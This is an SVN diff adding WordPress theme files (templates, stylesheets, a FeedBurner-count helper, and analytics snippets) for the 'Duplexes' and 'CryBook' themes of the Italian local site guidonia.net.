+<?php endif; ?>
+
+</ul>
+</div><!-- Closes Sidebarright -->
+
+<div class="cleared"></div>
+</div><!-- Closes Sidebarcontent -->
+<div class="sidebarbottom"></div>
+
+
+</div> <!-- Closes Sidebar -->
Index: /trunk/www.guidonia.net/wp/wp-content/themes/duplexes/single.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/duplexes/single.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/duplexes/single.php	(revision 44)
@@ -0,0 +1,45 @@
+<?php get_header(); ?>
+
+<div id="topcurve"></div>
+<div id="main">
+<div id="content">
+
+<?php if (have_posts()) : ?>
+<?php while (have_posts()) : the_post(); ?>
+
+<div class="post">
+<h2 class="postTitle"><a href="<?php the_permalink() ?>"><?php the_title(); ?></a></h2>
+<p class="postMeta">Posted <?php the_time('M.d, Y') ?> in <?php the_category(', '); ?></p>
+<div class="postContent"><?php the_content('(continue reading...)'); ?></div>
+<div class="cleared"></div>
+<div class="postMetaBottom">
+<p class="postMetaTags"><?php the_tags('Tags: ', ', ', ''); ?></p>
+<div class="cleared"></div>
+</div>
+</div> <!-- Closes Post -->
+
+<div id="comment">
+<?php if (function_exists('wp_list_comments')): ?>
+<!-- WP 2.7 and above -->
+<?php comments_template('', true); ?>
+
+<?php else : ?>
+<!-- WP 2.6 and below -->
+<?php comments_template(); ?>
+<?php endif; ?>
+</div> <!-- Closes Comment -->
+
+<?php endwhile; ?>
+<?php else : ?>
+<div class="post">
+<h2 class="postTitle">Not Found</h2>
+<div class="postContent"><p>Sorry, but you are looking for something that isn't here.</p></div>
+</div> <!-- Closes Post -->
+<?php endif; ?>
+</div> <!-- Closes Content -->
+
+<?php get_sidebar(); ?>
+<div class="cleared"></div>
+</div> <!-- Closes Main -->
+
+<?php get_footer(); ?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/duplexes/style.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/duplexes/style.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/duplexes/style.css	(revision 44)
@@ -0,0 +1,199 @@
+/*  
+Theme Name: Duplexes
+Theme URI: http://duplex.net/blog/duplexes-theme-and-instructions/
+Description: Simple, light and clean theme from <a href="http://duplex.net/">Duplex.net</a>.
+WP theme for The Duplex Blog
+Author: Duplex.net
+Author URI: http://duplex.net/
+Version: 1.1
+Tags: white, light, tan, two-columns, three-columns, right-sidebar, fixed-width, threaded-comments
+Theme released under GPL license (http://www.opensource.org/licenses/gpl-license.php)
+*/
+
+
+/************************************************
+*	Defaults, WP and misc. stuff		*
+************************************************/
+* {margin:0; padding:0;}
+h1, h2, h3, h4, h5, h6, p {}
+a {color:#585840; text-decoration:underline;}
+a:hover {color:#90906c; text-decoration:underline;}
+a img {border:none;}
+blockquote {background:#cacaa8; padding:5px 15px; margin:10px; font-style:italic; font-size:0.9em; color:#222;}
+code {color:#555;}
+.cleared {clear:both;}
+.highlight {color:#D9D688; font-weight:bold;}
+.navigation {font-size:0.8em; margin-bottom:0;}
+hr {color: #ccc; border: 1px solid #dedede;}
+pre {height: auto; overflow-x:scroll;}
+fieldset {margin:0; padding:0; border:0;}
+dd {padding-left:15px;}
+
+.alignleft {float:left; margin:10px 10px 5px 0;}
+.alignright {float:right; margin:10px 0 5px 10px;}
+.aligncenter,
+div.aligncenter {margin:10px auto; text-align:center; display:block;}
+
+img.alignleft {float:left; margin:10px 10px 5px 0;}
+img.alignright {float:right; margin:10px 0 5px 10px;}
+img.aligncenter {margin:10px auto; text-align:center; display:block;}
+
+.wp-caption {border:1px solid #ddd; text-align:center; background-color:#f3f3f3; padding-top:4px;
+  /* optional rounded corners for browsers that support it */
+  -moz-border-radius: 3px;
+  -khtml-border-radius: 3px;
+  -webkit-border-radius: 3px;
+  border-radius: 3px;
+  }
+
+.wp-caption img {margin:0; padding:0; border: 0 none;}
+.wp-caption p.wp-caption-text {font-size:11px; line-height:17px; padding:0 4px 5px; margin:0;}
+
+
+
+/************************************************
+*	Body and wrappper		*
+************************************************/
+body {position:relative; margin:10px auto 0 auto; font-family:'verdana', 'trebuchet ms', 'Lucida Grande', Geneva, Arial, sans-serif; text-align:center; background:#fff url(images/bgbody.jpg) repeat-x;}
+#wrapper {width:940px; margin:0 auto; text-align:left;}
+
+
+/************************************************
+*	Header		*
+************************************************/
+#header {}
+#title {float:left; width:400px; margin:20px 0;}
+#title h1 a {text-decoration:none; font-size:1em; letter-spacing:-1px; font-family:trebuchet ms;}
+#title h1 a:hover {color:#333;}
+#title span {color:#333; font-size:0.8em;}
+#topnav {float:right; width:500px; text-align:right; font-size:0.7em; color:#444;}
+#topnav a {text-decoration:none; color:#444; margin:0 5px;}
+#topnav a.rss {background:url(images/rss.gif) left 2px no-repeat; padding-left:15px;}
+#topnav a:hover {text-decoration:none; color:#000;}
+#topnav ul li {display:inline; list-style:none; padding-left:10px;}
+
+#mainnav {background:url(images/menubg.gif) no-repeat top left; width:940px; font-size:0.8em; color:#555; height:36px; line-height:36px;}
+#mainnav a {text-decoration:none; color:#555;}
+#mainnav a:hover {text-decoration:none; color:#000;}
+#mainnav ul li {display:inline; list-style:none; padding:0 25px 0 0;}
+
+#mainnav ul#pagesmenu {float:left; width:650px; margin-left:15px; display:inline;}
+#mainnav div#searchmenu {float:right; width:260px; text-align:right; margin-right:15px; display:inline;}
+
+/************************************************
+*	Content		*
+************************************************/	
+#topcurve {background:url(images/topcurve.gif) top left no-repeat; height:15px; padding:0; margin:5px 0 0 0;}
+
+#main {background:#fff; width:910px; /* specifying width fixes dimensional bug in ie6 */ padding:0 15px;}
+
+#content {float:left; width:490px;}
+
+.pageTitle {font-size:1.1em; text-decoration:none; letter-spacing:-0.04em; color:#141414; margin-bottom:15px; font-family: 'trebuchet ms', sans-serif;}
+
+.post {margin-bottom:35px;}
+h2.postTitle {font-family: 'trebuchet ms', sans-serif;}
+h2.postTitle a {font-size:0.85em; text-decoration:none; letter-spacing:-0.04em; color:#141414;}
+h2.postTitle a:hover {color:#585840;}
+.postMeta {font-size:0.7em; color:#666; line-height:1.4em;}
+.postMeta a {text-decoration:none;}
+.postMetaBottom {font-size:0.7em; font-style:italic; color:#666; line-height:1.4em;}
+.postMetaComments {float:right; width:150px; text-align:right; margin-top:7px;}
+.postMetaComments a {background:url(images/comments.gif) left 2px no-repeat; padding:4px 0 0 23px; text-decoration:none;}
+.postMetaTags {float:left; width:340px; margin-top:7px;}
+.postMetaTags a {text-decoration:none;}
+.post img {}
+.postContent {margin:15px 0 0 0;}
+.postContent p {color: #353535; font-size:0.75em; line-height:1.5em; letter-spacing:.01em; margin:10px 0;}
+.postContent ul, .postContent ol {padding:0 0 0 35px;}
+.postContent ul li, .postContent ol li {font-size:0.75em; color:#353535;}
+
+#pagenav {font-size:0.8em; background:url(images/nextprevbg.gif) left no-repeat; line-height:36px; padding:0 15px 4px 15px; margin-left:15px;}
+#pagenav a {text-decoration:none;}
+#pagenav a:hover {color:#444431; text-decoration:none; background:#fff;}
+
+
+
+/************************************************
+*	Comments	*
+************************************************/
+#comment {margin:10px 0; color:#111; width: 480px;}
+#comment h3 {font-size:0.85em; font-weight:normal; color:#111; margin:15px 0 0 0; padding:0;}
+#comment p a {color:#4f4f3c;}
+#comment p a:hover {color:#111;}
+#comment p {padding:0; margin:7px 0;}
+ul.commentlist, ul.trackback {list-style-type:none; margin:10px 0; font-size:0.8em;}
+.commentlist li, .trackback li {margin:10px 0 15px 0; background:#e5e5cc; list-style-type:none; padding:10px;}
+.commentlist li.alt { background:#cacaa8; margin-top:10px;}
+.commentlist li.cleared {background:transparent; border:none;}
+.commentlist a:hover {color:#111;}
+.commentlist a.gravatar {float:left; margin:0 15px 5px 0; width:44px;}
+.commentlist .commentbody {margin:0; padding:0;}
+.commentlist .commentbody p a {text-decoration:underline;}
+.commentlist cite {font-size:1em; font-style:normal; color:#111;}
+.commentlist small.commentmetadata a {color:#4f4f3c;}
+.commentlist p {color:#111;}
+#respond {margin-top:20px;}
+textarea#comment {width:410px; background:#fff; color:#111; padding:10px;}
+#comment #submit {margin:0;}
+#commentform p {font-size:0.8em;}
+
+.reply {background:#fff; padding:2px 5px;}
+.reply a {text-decoration:none;}
+
+
+
+/************************************************
+*	Sidebar		*
+************************************************/
+#sidebar {float:right; width:385px;}
+.sidebartop {background:url(images/sidebartop.gif) top left no-repeat; height:12px; padding:0; margin:0 0 0 0;}
+.sidebarcontent {background:#cacaa8; padding:0 15px; color:#111;}
+.sidebarbottom {background:url(images/sidebarbottom.gif) bottom left no-repeat; height:12px; padding:0; margin:0 0 12px 0;}
+#sidebarleft {width:160px; float:left;}
+#sidebarright {width:160px; float:right;}
+#sidebarleft li ul, #sidebarright li ul {margin-bottom:15px;}
+
+#sidebar h2 {font-size:1em; font-family:'trebuchet ms', sans-serif; margin:0; padding:0;}
+#sidebar p {padding:15px 0 0 0; font-size:0.75em; color:#111;}
+
+#sidebar a {display:inline; color:#222; text-decoration:none;}
+#sidebar a:hover {color:#444431; text-decoration:none; background:#fff;}
+#sidebar a#subscribe:hover {background:transparent;}
+
+#sidebar table {width:160px; font-size:0.75em; margin-bottom:15px;}
+
+#sidebar ul {list-style-type:none;}
+#sidebar li {}
+#sidebar ul ul li {font-size:0.75em; margin:0; padding:3px 2px 2px 16px; color:#333; background: url(images/bullet.gif) left 9px no-repeat; line-height: 17px; /* Required for cross-browser consistency; cross-browser defaults vary. */}
+#sidebar ul.children li {border-bottom:none;}
+#sidebar ul.children {margin-bottom:-5px;}
+
+#tag_cloud a {display:inline;}
+
+#feedbox {border:1px solid #bbb; padding:2px; width:190px; color:#444; font-size:1em;}
+.feedsubmit {border:none; background:#656551; color:#fff; font-size:0.9em; padding:1px 5px; margin-left:5px;}
+.feedsubmit:hover {cursor:pointer; background:#8c8c6a;}
+
+#searchbox {width:170px; color:#444; font-size:0.9em; padding:1px 2px 2px 2px;}
+.submitbutton {border:none; background:#656551; color:#fff; font-size:0.9em; padding:0 5px 1px 5px;}
+.submitbutton:hover {cursor:pointer; background:#8c8c6a;}
+
+
+
+/************************************************
+*	Footer		*
+************************************************/
+#footercontainer {clear:both; background:#cacaa8; color:#111; margin:15px 0 0 0; padding:0;}
+#footer {width:910px; margin:0 auto; text-align:left; padding:12px 0 10px 0;}
+#footerleft {float:left; width:820px;}
+#footerleft ul#footernav {font-size:0.65em; margin:0; padding:0;}
+#footerleft ul#footernav li {display:inline; list-style:none; padding:0 10px 0 0;}
+#footerleft ul#footernav a {color:#4f4f3c; text-decoration:none; text-transform:uppercase; padding:1px 5px;}
+#footerleft ul#footernav a:hover {color:#444431; text-decoration:none; background:#fff;}
+#footerleft p#footercopy {font-size:0.6em; margin:0; padding:12px 0 0 5px; text-transform:uppercase;}
+#footerleft p#footercopy a {color:#4f4f3c; text-decoration:none; text-transform:uppercase;}
+#footerleft p#footercopy a:hover {color:#444431; text-decoration:none; background:#fff;}
+
+#footerright {float:right; width:70px; text-align:right;}
+
Index: /trunk/www.guidonia.net/wp/wp-content/themes/facebook/404.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/facebook/404.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/facebook/404.php	(revision 44)
@@ -0,0 +1,11 @@
+<?php get_header(); ?>
+<!--#content:start-->
+    	<div id="content">
+        	<div class="entry" id="post-error">
+            	<h2>404 - File not found</h2>
+                <p>Sorry but we can't find the right page you&rsquo;re looking for</p>
+            </div>
+        </div>
+<!--#content:end-->
+<?php get_sidebar(); ?>
+<?php get_footer(); ?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/facebook/License.txt
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/facebook/License.txt	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/facebook/License.txt	(revision 44)
@@ -0,0 +1,7 @@
+LICENSING
+===================
+This theme where released under Creative Commons Attribution-Noncommercial 3.0 Unported License. Please read that license here: http://creativecommons.org/licenses/by-nc/3.0/
+
+You may modify, use in multiblog or projects. 
+You cannot modify and then resell it.
+More details pleae refer to our terms and conditions at http://themetation.com/terms/
Index: /trunk/www.guidonia.net/wp/wp-content/themes/facebook/archive.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/facebook/archive.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/facebook/archive.php	(revision 44)
@@ -0,0 +1,54 @@
+<?php get_header(); ?>
+<!--#content:start-->
+    	<div id="content">
+        
+
+		<?php if (have_posts()) : ?>
+
+ 	  <?php $post = $posts[0]; // Hack. Set $post so that the_date() works. ?>
+ 	  <?php /* If this is a category archive */ if (is_category()) { ?>
+		<h2 class="pagetitle">Archive for the &#8216;<?php single_cat_title(); ?>&#8217; Category</h2>
+ 	  <?php /* If this is a tag archive */ } elseif( is_tag() ) { ?>
+		<h2 class="pagetitle">Posts Tagged &#8216;<?php single_tag_title(); ?>&#8217;</h2>
+ 	  <?php /* If this is a daily archive */ } elseif (is_day()) { ?>
+		<h2 class="pagetitle">Archive for <?php the_time('F jS, Y'); ?></h2>
+ 	  <?php /* If this is a monthly archive */ } elseif (is_month()) { ?>
+		<h2 class="pagetitle">Archive for <?php the_time('F, Y'); ?></h2>
+ 	  <?php /* If this is a yearly archive */ } elseif (is_year()) { ?>
+		<h2 class="pagetitle">Archive for <?php the_time('Y'); ?></h2>
+	  <?php /* If this is an author archive */ } elseif (is_author()) { ?>
+		<h2 class="pagetitle">Author Archive</h2>
+ 	  <?php /* If this is a paged archive */ } elseif (isset($_GET['paged']) && !empty($_GET['paged'])) { ?>
+		<h2 class="pagetitle">Blog Archives</h2>
+ 	  <?php } ?>
+
+		<?php while (have_posts()) : the_post(); ?>
+		<div class="entry" id="post-<?php the_ID(); ?>">
+        
+		
+            	<h2><a href="<?php the_permalink() ?>" rel="bookmark" title="Permanent Link to <?php the_title_attribute(); ?>"><?php the_title(); ?></a></h2>
+                <p class="meta-header"><?php _e("Posted on the"); ?> <?php the_time('F jS, Y') ?> under <?php the_category(',') ?> by <?php the_author_posts_link(); ?> <?php edit_post_link(__('<span class="edit">Edit</a>')); ?></p>
+                
+                <?php the_content(__('')); ?>
+                
+                <div class="meta-footer">
+                	<ul>
+                        <li><a href="<?php the_permalink() ?>">Read More</a></li>
+                        <li><a href="<?php the_permalink() ?>#comment"><?php comments_number(); ?></a></li>
+                        <?php edit_post_link(__('Edit'), '<li>', '</li>'); ?>
+                    </ul>
+                 <div class="clear-left"></div>   
+				</div>
+        
+        	</div>
+        <?php endwhile; ?>
+        <?php endif; ?>
+			<div class="pagination">
+                <div class="prev-page"><?php next_posts_link('Older Entries') ?></div>
+                <div class="next-page"><?php previous_posts_link('Newer Entries') ?></div>
+            </div>
+        </div>
+
+<!--#content:end-->
+<?php get_sidebar(); ?>
+<?php get_footer(); ?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/facebook/blue.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/facebook/blue.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/facebook/blue.css	(revision 44)
@@ -0,0 +1,20 @@
+#header { background-color: #3b5998; }
+#navigation ul li a.current, #navigation ul li.current_page_item a { background: #6d84b4; }
+a { color: #1e3b78; }
+
+#content .meta-footer ul li { background-color: #d3dae8; }
+#content .meta-footer ul li a:hover { background-color: #6d84b4; }	
+#content #comments h3 { color: #6d84b4; }	
+#content #comments .meta-comment { color: #6d84b4; }
+#content #respond h3 { color: #6d84b4; }
+
+.avatar { border: 1px solid #6d84b4; }
+
+#sidebar .feeds { color: #6d84b4; }
+	
+#content .meta-header { color: #6D84B4; }
+#content .entry h2 { color: #3b5998; }
+#content .entry h2 a { color: #3b5998; }
+#content .entry h2 a:hover { color: #3b5998; border-bottom: 1px solid #3b5998; }
+#sidebar h3 { color: #3b5998; }
+#sidebar .feeds strong { color: #3b5998; }
Index: /trunk/www.guidonia.net/wp/wp-content/themes/facebook/comments.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/facebook/comments.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/facebook/comments.php	(revision 44)
@@ -0,0 +1,96 @@
+<?php
+/**
+ * @package WordPress
+ * @subpackage Default_Theme
+ */
+
+// Do not delete these lines
+	if (!empty($_SERVER['SCRIPT_FILENAME']) && 'comments.php' == basename($_SERVER['SCRIPT_FILENAME']))
+		die ('Please do not load this page directly. Thanks!');
+
+	if ( post_password_required() ) { ?>
+		<p class="nocomments">This post is password protected. Enter the password to view comments.</p>
+	<?php
+		return;
+	}
+?>
+
+<!-- You can start editing here. -->
+
+<div id="comments">
+
+<?php if ( have_comments() ) : ?>
+	<div class="box" id="met">
+    <h3 class="reply"><?php comments_number('No Responses', 'One Response', '% Responses' );?> to '<?php the_title(); ?>'</h3>
+    <div class="meta-comment"><?php comments_rss_link(__('Subscribe to comments with RSS')); ?></div>
+    </div>
+    
+	<ol class="commentlist box">
+	<?php wp_list_comments('type=comment&callback=mytheme_comment'); ?>
+	</ol>
+
+	<div class="navigation">
+		<div class="alignleft cp"><?php previous_comments_link() ?></div>
+		<div class="alignright cp"><?php next_comments_link() ?></div>
+	</div>
+ <?php else : // this is displayed if there are no comments so far ?>
+
+	<?php if ('open' == $post->comment_status) : ?>
+		<!-- If comments are open, but there are no comments. -->
+
+	 <?php else : // comments are closed ?>
+		<!-- If comments are closed. -->
+		<p class="nocomments">Comments are closed.</p>
+		</div>
+	<?php endif; ?>
+<?php endif; ?>
+
+
+<?php if ('open' == $post->comment_status) : ?>
+
+<div id="respond" class="box">
+
+<h3><?php comment_form_title( 'Leave a Reply', 'Leave a Reply to %s' ); ?></h3>
+
+<div class="cancel-comment-reply">
+	<small><?php cancel_comment_reply_link(); ?></small>
+</div>
+
+<?php if ( get_option('comment_registration') && !$user_ID ) : ?>
+<p>You must be <a href="<?php echo get_option('siteurl'); ?>/wp-login.php?redirect_to=<?php echo urlencode(get_permalink()); ?>">logged in</a> to post a comment.</p>
+<?php else : ?>
+
+<form action="<?php echo get_option('siteurl'); ?>/wp-comments-post.php" method="post" id="commentform">
+
+<?php if ( $user_ID ) : ?>
+
+<p>Logged in as <a href="<?php echo get_option('siteurl'); ?>/wp-admin/profile.php"><?php echo $user_identity; ?></a>. <a href="<?php echo wp_logout_url(get_permalink()); ?>" title="Log out of this account">Log out &raquo;</a></p>
+
+<?php else : ?>
+
+<div><label for="author"><small>Name <?php if ($req) echo "(required)"; ?></small></label><br /><input type="text" name="author" id="author" value="<?php echo $comment_author; ?>" size="22" tabindex="1" <?php if ($req) echo "aria-required='true'"; ?> />
+</div>
+
+<div><label for="email"><small>Mail (will not be published) <?php if ($req) echo "(required)"; ?></small></label><br /><input type="text" name="email" id="email" value="<?php echo $comment_author_email; ?>" size="22" tabindex="2" <?php if ($req) echo "aria-required='true'"; ?> />
+</div>
+
+<div><label for="url"><small>Website</small></label><br /><input type="text" name="url" id="url" value="<?php echo $comment_author_url; ?>" size="22" tabindex="3" />
+</div>
+
+<?php endif; ?>
+
+<div><small><strong>XHTML:</strong>:<br /><code><?php echo allowed_tags(); ?></code></small></div>
+
+<p><label for="comments"><small>Comments</small></label><br /><textarea name="comment" id="comment" cols="50" rows="6" tabindex="4"></textarea></p>
+
+<p><input name="submit" type="submit" id="submit" tabindex="5" value="Submit Comment" class="box" />
+<?php comment_id_fields(); ?>
+</p>
+<?php do_action('comment_form', $post->ID); ?>
+
+</form>
+</div>
+<?php endif; // If registration required and not logged in ?>
+</div>
+
+<?php endif; // if you delete this the sky will fall on your head ?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/facebook/footer.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/facebook/footer.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/facebook/footer.php	(revision 44)
@@ -0,0 +1,39 @@
+    </div>
+    	<div id="footer">
+        	<p>
+				&copy; <?php echo date('Y'); ?> <a href="<?php bloginfo('url'); ?>"><?php bloginfo('name'); ?></a>.
+ link consigliati: <a href="http://www.guidonia.tv" target="_blank">Guidonia TV</a> - <a href="http://www.aniene.net" target="_blank">Aniene.Net</a> -  <a href="http://www.linuxap.it" target="_blank">LinuxAp</a> - <a href="http://www.eleonline.it" target="_blank">Elezioni on line</a>           	
+            </p>
+			<?php wp_footer(); ?>
+        </div>
+	
+<!-- Start of StatCounter Code -->
+<script type="text/javascript">
+var sc_project=4711170; 
+var sc_invisible=1; 
+var sc_partition=56; 
+var sc_click_stat=1; 
+var sc_security="aab5f80b"; 
+</script>
+
+<script type="text/javascript"
+src="http://www.statcounter.com/counter/counter.js"></script><noscript><div
+class="statcounter"><a title="website statistics"
+href="http://www.statcounter.com/" target="_blank"><img
+class="statcounter"
+src="http://c.statcounter.com/4711170/0/aab5f80b/1/"
+alt="website statistics" ></a></div></noscript>
+<!-- End of StatCounter Code -->
+
+<script type="text/javascript">
+var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");
+document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));
+</script>
+<script type="text/javascript">
+try {
+var pageTracker = _gat._getTracker("UA-9114161-1");
+pageTracker._trackPageview();
+} catch(err) {}</script>
+  
+</body>
+</html>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/facebook/functions.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/facebook/functions.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/facebook/functions.php	(revision 44)
@@ -0,0 +1,180 @@
+<?php
+
+// Theme Name: CryBook
+// Edit this file on your own risk!
+
+add_action('admin_menu', 'crybook_options'); // Theme Menu "Brightness Settings"
+add_action('wp_head', 'crybook_feed');
+
+function crybook_feed() {
+	$last_update = intval(get_option('crybook_feed_lastupdate'));
+	$enable = get_option('crybook_feed_enable');
+	$now = time();
+	if($enable === 'yes' and ($now - $last_update) > (60*60*24)) :
+		//get cool feedburner count
+		$feed = get_option('crybook_feed_uri');
+		$whaturl="http://api.feedburner.com/awareness/1.0/GetFeedData?uri=$feed";
+		
+		//Initialize the Curl session
+		$ch = curl_init();
+		
+		//Set curl to return the data instead of printing it to the browser.
+		curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
+		//Set the URL
+		curl_setopt($ch, CURLOPT_URL, $whaturl);
+		//Execute the fetch
+		$data = curl_exec($ch);
+		//Close the connection
+		curl_close($ch);
+	
+		$xml = new SimpleXMLElement($data);
+		$fb = $xml->feed->entry['circulation'];
+		if(!$fb) :
+			$fb = 0;
+		endif;
+		$id = $xml->feed['id'];
+		
+		update_option("crybook_feed_count", "<strong>" .$fb." reader".($fb > 1 ? "s</strong>" : ""));
+		update_option('crybook_feed_id', $id."");
+		//end get cool feedburner count
+		
+		update_option("crybook_feed_lastupdate", $now."");
+	endif;
+}
+
+function crybook() {
+	
+	if(isset($_POST['submitted']) and $_POST['submitted'] == 'yes') :
+		update_option("crybook_feed_uri", stripslashes($_POST['feed_uri']));
+		update_option("crybook_aside_cat", stripslashes($_POST['aside_cat']));
+		update_option("crybook_about_site", stripslashes($_POST['about_site']));
+		
+		if(isset($_POST['feed_update']) and $_POST['feed_update'] == 'yes') :
+			update_option("crybook_feed_lastupdate", "0");
+		endif;
+		
+		if(isset($_POST['feed_enable']) and $_POST['feed_enable'] == 'yes') :
+			update_option("crybook_feed_enable", "yes");
+		else :
+			update_option("crybook_feed_enable", "no");
+		endif;
+		
+		echo "<div id=\"message\" class=\"updated fade\"><p><strong>Your settings have been saved.</strong></p></div>";
+	endif; 
+	
+	$data = array(
+		'feed' => array(
+			'uri' => get_option('crybook_feed_uri'),
+			'id' => get_option('crybook_feed_id'),
+			'enable' => get_option('crybook_feed_enable')
+		),
+		'aside' => get_option('crybook_aside_cat'),
+		'about' => get_option('crybook_about_site')
+	);
+?>
+<!-- Our Community Settings Update Form -->
+<div class="wrap">	
+	<form method="post" name="update_form" target="_self">	
+    	<h2>CryBook Settings</h2>
+        <h3>Site About</h3>
+		<p>Display at the upper sidebar of your site</p>
+		<table class="form-table my">
+			<tr>
+				<th>
+					Description:
+				</th>
+				<td>
+					<textarea name="about_site" rows="10" style="width:95%"><?php echo $data['about']; ?></textarea>
+				</td>
+			</tr>
+		</table>
+        <h3>Feedburner</h3>
+		<p>Key in your Feedburner data</p>
+		<table class="form-table my">
+			<tr>
+				<th>
+					FeedURI:
+				</th>
+				<td>
+					http://feeds.feedburner.com/<input type="text" name="feed_uri" value="<?php echo $data['feed']['uri']; ?>" size="35" />
+                    <br />Check to enable feed count (text) <input type="checkbox" name="feed_enable" <?php echo ($data['feed']['enable'] == 'yes' ? 'checked="checked"' : ''); ?> value="yes" /> 
+				</td>
+			</tr>
+            <tr>
+				<th>
+					FeedID:
+				</th>
+				<td>
+					http://www.feedburner.com/fb/a/emailverifySubmit?feedId=<strong><?php echo $data['feed']['id']; ?></strong>&amp;loc=en_US<br />Use to allow visitor to subscribe feed using e-mail.
+				</td>
+			</tr>
+            <tr>
+				<th>
+					Flush Reader Count:
+				</th>
+				<td>
+					Last update: <strong><?php echo date('Y-m-d H:i:s', get_option('crybook_feed_lastupdate')); ?></strong><br /><input type="checkbox" name="feed_update" value="yes" /> Check to reset reader count.
+				</td>
+			</tr>
+		</table>
+        <p class="submit">
+			<input name="submitted" type="hidden" value="yes" />
+			<input type="submit" name="Submit" value="Update &raquo;" />
+		</p>
+	</form>
+     	<h3>Themetation</h3>
+		<p>thank you for using our WordPress Themes. If you need any support, feel free to post it up in our <a href="http://themetation.com/forum">fourm</a> you can get some wordpress tips at <a href="http://themetation.com">themetation.com</a>.</p>
+</div>
+<?php
+}
+
+function crybook_options() { // Adds Dashboard Menu Item
+	add_menu_page('CryBook Settings', 'CryBook Settings', 'edit_themes', __FILE__, 'crybook');
+}
+
+if(function_exists('register_sidebar')) :
+    register_sidebar(array(
+        'name' => 'sidebar-left',
+		'before_widget' => '<div class="box">',
+        'after_widget' => '</div>',
+        'before_title' => '<h3>',
+        'after_title' => '</h3>',
+    ));
+	register_sidebar(array(
+        'name' => 'sidebar-right',
+		'before_widget' => '<div class="box">',
+        'after_widget' => '</div>',
+        'before_title' => '<h3>',
+        'after_title' => '</h3>',
+    ));
+endif;
+
+function mytheme_comment($comment, $args, $depth) {
+   $GLOBALS['comment'] = $comment; ?>
+   <li <?php comment_class(); ?> id="comment-<?php comment_ID() ?>">
+     <div id="div-comment-<?php comment_ID(); ?>" class="c">
+      <div class="comment-author vcard">
+         <?php echo get_avatar( $comment, 60 ); ?>
+         <small><?php printf(__('%1$s at %2$s'), get_comment_date(),  get_comment_time()) ?> <?php edit_comment_link(__('(Edit)'),'  ','') ?></small><br />
+         <?php printf(__('<em>%s</em>'), get_comment_author_link()) ?>
+      </div>
+     
+      <div class="comment-meta commentmetadata">
+      <div class="reply">
+         <?php comment_reply_link(array_merge( $args, array('add_below' => 'div-comment', 'depth' => $depth, 'max_depth' => $args['max_depth']))) ?>
+      </div>      
+      <?php if ($comment->comment_approved == '0') : ?>
+         <em><?php _e('Your comment is awaiting moderation.') ?></em>
+         <br />
+      <?php endif; ?>
+	
+      <?php comment_text() ?>
+
+
+      </div>
+     </div>
+     <div class="clear"></div>
+<?php
+        }
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/facebook/green.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/facebook/green.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/facebook/green.css	(revision 44)
@@ -0,0 +1,20 @@
+#header { background-color: #70983B; }
+#navigation ul li a.current, #navigation ul li.current_page_item a { background: #46671C; }
+a { color: #46671C;}
+
+#content .meta-footer ul li { background-color: #A1C86E; }	
+#content .meta-footer ul li a:hover { background-color: #46671C; }	
+#content #comments h3 { color: #B03466; }	
+#content #comments .meta-comment { color: #B03466; }
+#content #respond h3 { color: #46671C; }
+
+.avatar { border: 1px solid #46671C; }
+
+#sidebar .feeds { color: #46671C; }
+	
+#content .meta-header { color: #A1C86E; }
+#content .entry h2 { color: #46671C; }
+#content .entry h2 a { color: #46671C; }
+#content .entry h2 a:hover { color: #46671C; border-bottom: 1px solid #46671C; }
+#sidebar h3 { color: #333; }
+#sidebar .feeds strong { color: #46671C; }
Index: /trunk/www.guidonia.net/wp/wp-content/themes/facebook/header.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/facebook/header.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/facebook/header.php	(revision 44)
@@ -0,0 +1,64 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" <?php language_attributes(); ?>>
+
+<head profile="http://gmpg.org/xfn/11">
+    <meta http-equiv="Content-Type" content="<?php bloginfo('html_type'); ?>; charset=<?php bloginfo('charset'); ?>" />
+    <title><?php wp_title('--',true,'right'); ?> <?php bloginfo('name');?></title>
+    <meta name="verify-v1" content="73C3Ket7EQ4Ee+FT9AjldQ5ReM9xZtp2whuQ4bemlMA=" >
+ <meta name="description" content="Guidonia Punto Net: informazioni della cittÃ  di Guidonia e dell'intero comune di Guidonia Montecelio ">
+<meta name="abstract" content="Notizie, informazioni, sport, alberghi, ristoranti, curiositÃ  a Guidonia , Comune di Guidonia Montecelio">
+<meta name="keywords" content="guidonia montecelio, guidonia, montecelio">
+
+ 
+ 
+ 
+ 
+ 
+ 
+ 
+ 
